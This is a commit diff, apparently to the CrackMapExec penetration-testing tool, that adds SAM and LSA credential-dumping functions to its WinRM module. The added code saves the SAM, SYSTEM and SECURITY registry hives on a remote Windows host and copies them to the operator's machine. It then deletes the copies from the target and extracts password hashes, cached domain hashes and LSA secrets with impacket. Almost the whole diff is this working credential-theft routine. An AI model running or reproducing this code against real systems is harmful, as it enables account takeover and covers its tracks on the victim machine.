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Add lsa and sam function to winrm

main
mpgn 2022-02-23 15:09:49 -05:00
parent 2df0069c46
commit f7ab07bbcc
1 changed files with 37 additions and 1 deletions
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36
cme/protocols/winrm.py
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@ -10,6 +10,7 @@ from cme.protocols.ldap.smbldap import LDAPConnect
from cme.logger import CMEAdapter
from io import StringIO
from pypsrp.client import Client
from impacket.examples.secretsdump import LocalOperations, LSASecrets
# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
from requests.packages.urllib3.exceptions import InsecureRequestWarning
@ -25,6 +26,7 @@ class winrm(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
self.output_filename = None
connection.__init__(self, args, db, host)
@ -40,6 +42,11 @@ class winrm(connection):
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
cgroup = winrm_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
cegroup = cgroup.add_mutually_exclusive_group()
cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems')
cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems')
cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
@ -81,6 +88,9 @@ class winrm(connection):
self.hostname = smb_conn.getServerName()
self.server_os = smb_conn.getServerOS()
self.logger.extra['hostname'] = self.hostname
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
try:
smb_conn.logoff()
except:
@ -277,3 +287,29 @@ class winrm(connection):
r = self.conn.execute_ps(self.args.ps_execute)
self.logger.success('Executed command')
self.logger.highlight(r[0])
def sam(self):
self.conn.execute_cmd("reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
self.conn.fetch("C:\\windows\\temp\\SAM", self.output_filename + ".sam")
self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system")
self.conn.execute_cmd("del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM")
localOperations = LocalOperations(self.output_filename + ".system")
bootKey = localOperations.getBootKey()
SAM = SAMHashes(self.output_filename + ".sam", bootKey, isRemote=None, perSecretCallback=lambda secret: self.logger.highlight(secret))
SAM.dump()
SAM.export(self.output_filename + ".sam")
def lsa(self):
self.conn.execute_cmd("reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
self.conn.fetch("C:\\windows\\temp\\SECURITY", self.output_filename + ".security")
self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system")
self.conn.execute_cmd("del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY")
localOperations = LocalOperations(self.output_filename + ".system")
bootKey = localOperations.getBootKey()
LSA = LSASecrets(self.output_filename + ".security", bootKey, None, isRemote=None, perSecretCallback=lambda secretType, secret: self.logger.highlight(secret))
LSA.dumpCachedHashes()
LSA.dumpSecrets()